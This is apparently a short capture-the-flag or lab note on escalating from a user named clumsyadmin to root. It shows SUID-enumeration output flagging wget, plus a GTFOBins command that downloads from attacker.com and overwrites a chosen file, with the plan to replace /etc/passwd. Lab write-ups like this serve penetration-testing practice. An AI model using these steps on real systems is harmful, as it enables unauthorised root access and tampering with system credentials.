3 box enum clumsyadmin > root

[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/usr/bin/wget
------------------------------


[#] SUID Binaries in GTFO bins list (Hell Yeah!)
------------------------------
/usr/bin/wget -~> https://gtfobins.github.io/gtfobins/wget/#suid
------------------------------


[&] Manual Exploitation (Binaries which create files on the system)
------------------------------
[&] Wget ( /usr/bin/wget )
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
/usr/bin/wget $URL -O $LFILE

------------------------------

wget and modify the /etc/passwd

Last updated